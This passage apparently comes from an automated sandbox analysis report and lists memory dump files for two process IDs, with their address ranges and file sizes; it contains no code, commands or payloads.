              • memory/2328-238-0x00007FFA89840000-0x00007FFA8995C000-memory.dmp

                Filesize

                1.1MB

              • memory/2328-199-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp

                Filesize

                140KB

              • memory/2328-202-0x00007FFA9E320000-0x00007FFA9E32D000-memory.dmp

                Filesize

                52KB

              • memory/2328-245-0x00007FFA89960000-0x00007FFA89A2D000-memory.dmp

                Filesize

                820KB

              • memory/2328-246-0x0000023FBC0C0000-0x0000023FBC5E2000-memory.dmp

                Filesize

                5.1MB

              • memory/2328-244-0x00007FFA90580000-0x00007FFA905B3000-memory.dmp

                Filesize

                204KB

              • memory/2328-243-0x00007FFA9E0E0000-0x00007FFA9E0ED000-memory.dmp

                Filesize

                52KB

              • memory/2328-204-0x00007FFA89840000-0x00007FFA8995C000-memory.dmp

                Filesize

                1.1MB

              • memory/2328-241-0x00007FFA89A30000-0x00007FFA89BA7000-memory.dmp

                Filesize

                1.5MB

              • memory/2328-240-0x00007FFA961A0000-0x00007FFA961C3000-memory.dmp

                Filesize

                140KB

              • memory/2328-239-0x00007FFA88E80000-0x00007FFA893A2000-memory.dmp

                Filesize

                5.1MB

              • memory/2328-237-0x00007FFA9E320000-0x00007FFA9E32D000-memory.dmp

                Filesize

                52KB

              • memory/2328-236-0x00007FFA97F00000-0x00007FFA97F14000-memory.dmp

                Filesize

                80KB

              • memory/2328-227-0x00007FFA97E30000-0x00007FFA97E5D000-memory.dmp

                Filesize

                180KB

              • memory/2328-226-0x00007FFA9E280000-0x00007FFA9E28F000-memory.dmp

                Filesize

                60KB

              • memory/2328-225-0x00007FFA987D0000-0x00007FFA987F3000-memory.dmp

                Filesize

                140KB

              • memory/4348-101-0x000001F87D250000-0x000001F87D272000-memory.dmp

                Filesize

                136KB